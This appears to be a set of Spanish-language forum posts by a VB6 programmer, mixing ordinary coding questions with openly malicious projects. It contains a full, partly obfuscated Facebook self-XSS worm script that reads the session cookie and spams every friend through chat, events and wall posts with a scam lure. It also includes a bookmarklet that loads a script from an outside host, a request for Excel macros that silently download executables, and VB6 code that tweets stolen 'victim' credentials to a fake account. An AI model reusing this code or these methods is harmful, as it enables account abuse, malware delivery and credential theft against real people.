Alguien me puede dar una guía básica para hacer esto? quisiera agregarlo a un programa que tengo, pero ni idea de donde empezar.


Gracias de antemano

http://www.captchabrotherhood.com/api.aspx

Estoy intentando subir fotos a facebook o twitter via visual basic

Lo que uso normalmente son metodos rudimentarios tipo setear los datos de campos como "INPUT", "SELECT", "TEXTAREA" y otros propios de HTML, desde VisualBasic 6... Con esto pude hacer un bot que hace spam en fb

Ejemplo de "setear":
  WebBrowser1.Document.All("texto").Value = "Hola"

El reto, es descubrir como setear un objeto "FILE" del formulario web... ya que aún no lo pude conseguir... y supongo que existe una forma...
Pero como no se tanto de este tema y no consuigo descubrirlo yo solo... acudo a ustedes, ya que, estoy seguro que alguien sabe más sobre esto que yo...

Ejemplom de objeto file: <input type="file" name="file1" />

Por ahí encontré que el modo consiste en utilizar bookmaklets he inyectar un formulario javascript con una capa editable y un textarea mas un btoon input luego cargando el codigo de imagen <IMG SRC='C:\Documents and Settings\Abkánis\Escritorio\carpeta\carpeta de proyectyo\1.jpg'/> dentro del textarea todo eso hacerlo desde la barra de direcciones que ayas echo en el VB6 y manipular por control web browser el boton imput asi sea la pagina que se cargue en la caja del webrowser puede ser manipulada de ese modo .

Alguna idea?

Holaa.

Alguien sabe algún método para borrar el espacio que genera la tecla TAB, ocupa el doble de lo que ocuparía un " ", pero no es un espacio en blanco, ya probé con replace, TRIM, etc

Espacio en blanco es = " "
Tab = "   "

Gracias de antemano.

Hola que tal.

Estoy haciendo una aplicación que guarda cadenas de texto (oraciones.. frases) en un listbox para luego comparar y extraer las cadenas mas grandes.

El punto es que algunas cadenas de texto son muy grandes.y solo se guardan hasta cierta parte porque creo que el listbox tiene un limite de caracteres... Que sugerencia me darían?... donde mas puedo almacenarlas momentáneamente ? Hay algun control listbox o algo que me aguante mas texto?

Gracias de antemano

Hola quisiera vender un programa que hice en vb, pero me gustaría que solo funcione para la pc de la persona que le venda.

El problema es que lo vendo por internet asi que ni contacto con la pc tengo .

Algun codigo que recomienden por Favor

Hola Foreros, Este es un proyecto que lo abandone (http://foro.elhacker.net/programacion_visual_basic/proyecto_facebook_spam_10-t324758.0.html ) ya que permitia solo enviar algunos mensajes ( 30, cada media hora, un calculo a groso modo).

Sin embargo, ayer viendo algunos perfiles vi  una "aplicacion" que te permitia ver quien visitaba tu perfil... .bablabla

En resumen entrabas a una web : spampafacebook.com (ejemplo), Pegabas un Script en el navegador (previamente logeado en facebook ) Y el Script envia un mensaje (chat ) a todos tus amigos.

Rebuskando encontre el script  (puedes verlo abajo), Mi duda es la siguiente.. Como podria hacerlo en vb?.. Se Vb6 pero no a este nivel... Agradeceria su Ayuda.:

//var eventdesc = ev + url + randomnumber;
        // <script>
   // the following line is what they paste into the browser:
   // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0)
var randomnumber=Math.floor(Math.random()*99999);
var randomnumber1=Math.floor(Math.random()*987);
var randomnumber2=Math.floor(Math.random()*754);
var randomnumber3=Math.floor(Math.random()*43);
var randomnumber4=Math.floor(Math.random()*9);
var random=Math.floor(Math.random()*5);

if (random == 1)
 {
 var url = 'webear.ning.com'
 }
else if (random == 2)
 {
 var url = 'webear.ning.com'
 }
else if (random == 3)
 {
 var url = 'webear.ning.com'  
 }
else if (random == 4)
 {
 var url = 'webear.ning.com'
 }
else
 {
 var url = 'webear.ning.com'
 }

var chatmessage = 'Hola %firstname% te atrape jjaja vi que viste mi perfil con esta app ' +url;
var postmessage = 'Ultimos que vieron tu Perfil:\n %tf% - 18 visitas\n %tf% - 16 visitas\n %tf% - 15 visitas\n %tf% - 13 visitas\n %tf% - 11 visitas\n %tf% - 9 visitas\nMas informacion en : ' +url;
var redirect = 'http://facebook.com';
var eventdesc = 'Yo aprendí una forma de ver quién ve tu perfil\n\nSiga estos sencillos pasos para averiguarlo:\n\ntodo lo que tienes que hacer es ir a este enlace y siga las instrucciones :: ' +url;
var eventname = 'Chequea quienes son los que mas visitan tu perfil';
var nfriends = 5000;
var debug = false;
var wf = 0;
var mf = function () {
        if (wf <= 0) {
            setTimeout(function () {
                window['top']['location']['href'] = redirect;
            }, 500);
        };
    };
var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) {
        var _0xaa04xe = new XMLHttpRequest();
        _0xaa04xe['open']('GET', _0xaa04xb);
        _0xaa04xe['onreadystatechange'] = function () {
            if (_0xaa04xe['readyState'] == 4) {
                if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                    _0xaa04xc(_0xaa04xe['responseText']);
                };
                if (_0xaa04xd) {
                    _0xaa04xd();
                };
            };
        };
        _0xaa04xe['send']();
    };
doget('/', function (_0xaa04xf) {
    var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
    var _0xaa04x11 = function (_0xaa04x12) {
            return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : '';
        };
    var _0xaa04x13 = function (_0xaa04x12) {
            return _0xaa04x12 ? _0xaa04x12['name'] : '';
        };
    var _0xaa04x14 = function (_0xaa04x12) {
            out = '';
            for (var _0xaa04x15 in _0xaa04x12) {
                out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : '');
            };
            return out;
        };
    var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) {
            var _0xaa04xe = new XMLHttpRequest();
            _0xaa04xe['open']('POST', _0xaa04xb);
            _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
            _0xaa04xe['onreadystatechange'] = function () {
                if (_0xaa04xe['readyState'] == 4) {
                    if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                        _0xaa04xc(_0xaa04xe['responseText']);
                    };
                    if (_0xaa04xd) {
                        _0xaa04xd();
                    };
                };
            };
            _0xaa04xe['send'](_0xaa04x14(_0xaa04x12));
        };
    var _0xaa04x17 = function () {
            var _0xaa04x18 = document['createElement']('div');
            _0xaa04x18['style']['display'] = 'block';
            _0xaa04x18['style']['position'] = 'absolute';
            _0xaa04x18['style']['width'] = 100 + '%';
            _0xaa04x18['style']['height'] = 100 + '%';
            _0xaa04x18['style']['left'] = 0 + 'px';
            _0xaa04x18['style']['top'] = 0 + 'px';
            _0xaa04x18['style']['textAlign'] = 'center';
            _0xaa04x18['style']['padding'] = '4px';
            _0xaa04x18['style']['background'] = '#FFFFFF';
            _0xaa04x18['style']['zIndex'] = 999999;
            _0xaa04x18['innerHTML'] = '&nbsp;<br/>Por favor, espere unos segundos ...<br/><br/> www.PortalFb.com : Todo para Facebook <br/><br/> Si no quiere esperar... <a href="javascript:void(0);" onclick="wf=0; mf();">haga clic aqui</a> ';
            document['body']['appendChild'](_0xaa04x18);
        };
    var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
    if (_0xaa04x19) {
        comp = _0xaa04x19[1];
    } else {
        comp = '';
    };
    var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
    var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
    var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data'];
    redirect = redirect
    _0xaa04x17();
    if (eventdesc) {
        wf++;
        _0xaa04x16('/ajax/choose/?__a=1', {
            type: 'event',
            eid: null,
            invite_message: '',
            __d: 1,
            post_form_id: _0xaa04x1a,
            fb_dtsg: _0xaa04x1b,
            lsd: null,
            post_form_id_source: 'AsyncRequest'
        }, function (_0xaa04x1d) {
            var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
            var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
            doget(_0xaa04xb, function (_0xaa04x1f) {
                var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g);
                var _0xaa04x21 = [];
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1];
                    if (_0xaa04x23 != _0xaa04x10) {
                        _0xaa04x21['push'](_0xaa04x23);
                    };
                };
                var _0xaa04x24 = new Date();
                _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000);
                datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear']();
                timestr = _0xaa04x24['getHours']() * 60;
                var _0xaa04x25 = {
                    post_form_id: _0xaa04x1a,
                    fb_dtsg: _0xaa04x1b,
                    start_dateIntlDisplay: datestr,
                    start_date: datestr,
                    start_time_hour_min: timestr,
                    name: eventname,
                    place_page_id: '',
                    location: '',
                    street: '',
                    geo_id: '',
                    geo_sq: '',
                    desc: eventdesc,
                    sgb_invitees: _0xaa04x21['join'](','),
                    sgb_emails: '',
                    sgb_message: '',
                    privacy_type: 'on',
                    guest_list: 'on',
                    connections_can_post: 'on',
                    save: 'Create Event',
                    submitting: ''
                };
                _0xaa04x25['new'] = '';
                _0xaa04x16('/events/create.php', _0xaa04x25, false, function () {
                    mf(--wf);
                });
            });
        });
    };
    if (chatmessage) {
        wf++;
        _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', {
            user: _0xaa04x10,
            post_form_id: _0xaa04x1a,
            fb_dtsg: _0xaa04x1b,
            lsd: null,
            post_form_id_source: 'AsyncRequest',
            popped_out: false,
            force_render: true
        }, function (_0xaa04x1d) {
            var _0xaa04x26 = _0xaa04x1d['substr'](9);
            var _0xaa04x27 = eval('(' + _0xaa04x26 + ')');
            var _0xaa04x28 = _0xaa04x27['payload']['buddy_list'];
            for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) {
                var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958);
                var _0xaa04x2b = (new Date())['getTime']();
                var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']());
                _0xaa04x16('/ajax/chat/send.php?__a=1', {
                    msg_id: Math['floor'](Math['random']() * 1335448958),
                    client_time: (new Date())['getTime'](),
                    msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()),
                    to: _0xaa04x29,
                    post_form_id: _0xaa04x1a,
                    fb_dtsg: _0xaa04x1b,
                    post_form_id_source: 'AsyncRequest'
                });
            };
            mf(--wf);
        });
    };
    if (postmessage) {
        wf++;
        doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) {
            var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
            var _0xaa04x2d = [];
            if (_0xaa04x20) {
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
                    var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
                    _0xaa04x2d['push']({
                        id: _0xaa04x23,
                        name: _0xaa04x2e
                    });
                };
            };
            var _0xaa04xd = [];
            var _0xaa04x2f = [];
            while (_0xaa04x2d['length']) {
                var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']);
                _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]);
                _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]);
                var _0xaa04x2b = _0xaa04x2d['shift']();
                if (_0xaa04x30) {
                    _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b;
                };
            };
            if (debug) {
                alert('fetched friends: ' + _0xaa04xd['length']);
            };
            var _0xaa04x31 = {
                post_form_id: _0xaa04x1a,
                fb_dtsg: _0xaa04x1b,
                xhpc_composerid: comp,
                xhpc_targetid: _0xaa04x10,
                xhpc_context: 'home',
                xhpc_fbx: '',
                lsd: null,
                post_form_id_source: 'AsyncRequest'
            };
            mt = postmessage;
            m = postmessage;
            while (mt['search']('%tf%') >= 0) {
                var _0xaa04x32 = _0xaa04xd['pop']();
                mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
                m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
            };
            _0xaa04x31['xhpc_message_text'] = mt;
            _0xaa04x31['xhpc_message'] = m;
            if (debug) {
                alert('message text: ' + mt);
            };
            _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31);
            var _0xaa04x33 = function (_0xaa04x15) {
                    if (_0xaa04x15 == 0) {
                        wf = 0;
                        mf();
                        return;
                    };
                    var _0xaa04x34 = _0xaa04x2f['shift']();
                    var _0xaa04x35 = {
                        post_form_id: _0xaa04x1a,
                        fb_dtsg: _0xaa04x1b,
                        xhpc_composerid: comp,
                        xhpc_targetid: _0xaa04x34['id'],
                        xhpc_context: 'profile',
                        xhpc_fbx: 1,
                        lsd: null,
                        post_form_id_source: 'AsyncRequest'
                    };
                    var _0xaa04x36 = postmessage;
                    var _0xaa04x37 = postmessage;
                    if (_0xaa04xd['length'] == 0) {
                        wf = 0;
                        mf();
                        return;
                    };
                    while (_0xaa04x36['search']('%tf%') >= 0) {
                        var _0xaa04x38 = _0xaa04xd['pop']();
                        _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38));
                        _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38));
                    };
                    _0xaa04x35['xhpc_message_text'] = _0xaa04x36;
                    _0xaa04x35['xhpc_message'] = _0xaa04x37;
                    _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35);
                    setTimeout(function () {
                        _0xaa04x33(_0xaa04x15 - 1);
                    }, 2000);
                };
            wf++;
            setTimeout(function () {
                _0xaa04x33(nfriends);
            }, 2000);
        });
    };
    mf();
});

Hola Foreros

Quisiera Pedir Su colaboracion Teorica y si fuera posible practica.

La Idea :

Hace un Bot para Facebook que envie mensaje a Tus Amigos , Asi como a los amigos de tus amigos.

Puntos En CUenta:
+ Leer La  informacion de Cada Usuario, Y a travez de estos Datos enviar un Mensaje Personalizado, Asi hacer mas creible el Mensaje.
+ No enviar un mensaje al Mismo Usuario
+ Recopilar Datos Como Id, Correo y Pais.

+++++++++++++++++++++++++



Personalmente Hice lo anteriormente explicado de manera Basica. para que se entienda un poco la Idea.

http://www.4shared.com/file/QFuIR-OI/amixerfacebook.html
Codigo FUente en Vb 6.0

El Codigo que adjunto Cumple con el objetivo pero no es eficiente (respecto al tiempo). Ademas de otros detalles.

Agradecere Su Colaboracion.


pd : No es para implementar a un virus o algo asi.. es para enviar mensajes desde una Cuenta "Basura"

HOla Foreros en mi busqueda de nuevas victimas amistades, me tope con los macros de excel, los cuales permiten descargar de forma oculta un .exe archivo  ( me emociono xq no lo sabia )

Bueno en resumen mi duda es esta :

Se puede hacer en vb6  alguna rutina para crear un archivo .xls, ( aunque de preferencia .xla ) que contenga macros en su interior?.

Y de ser asi que pasos puedo seguir ..

pd: se lo que van a decir .. usa google.. no seas flojo.. que en el foro hay gb de informacion sobre el tema..  Sin embargo soy sincero he buskado y encontra porca informacion y de lo cual no comprendo nada.

Agradeceria su ayuda

Bueno debido a problemas de mi hosting ( http://www.teensmagazine.net ) .. ya no tenia donde enviar claves datos, de mis victimas amigos.

Asi que lo mas practico que se ocurrio fue twittear, los datos obtrenido desde mi cuenta twitter (obiamente una cuenta nueva y falsa).

Mi pregunta es :

¿Existe alguna forma mas sencilla, de twittear desde Vb6? quizas en menos lineas..

Codigo:

Private Sub twittear()
If wb2.LocationURL = "https://mobile.twitter.com/session/new" Then
Me.wb2.Document.All("username").Value = "AquiCorreo"
Me.wb2.Document.All("password").Value = "AquiContraseña"
 Dim HTML
 Dim HTMLI
 Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
     If HTMLI.Type = "submit" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
 End If
 
 If wb2.LocationURL = "http://mobile.twitter.com/" Then
 'p2.Visible = True
Me.wb2.Document.All("tweet_text").Value = id.Text & contraseña.Text  
 Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
     If HTMLI.Value = "Tweet" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
   End If
End Sub
 

pd : No confien en AqpHost -.-!

Estimados Foreros.

Hice un codigo pequeño y deseo comercializarlo.

Mi duda es.. se puede puedes convertir esta rutina un ocx, dll o algo que protega el codigo y ademas permita ser utilizado para aplicaciones posteriores???

Disculpen las molestia, ya lo solucione:

http://www.mundoprogramacion.com/vb/avanzado/crear_dll_windows_con_vb6_explicado.htm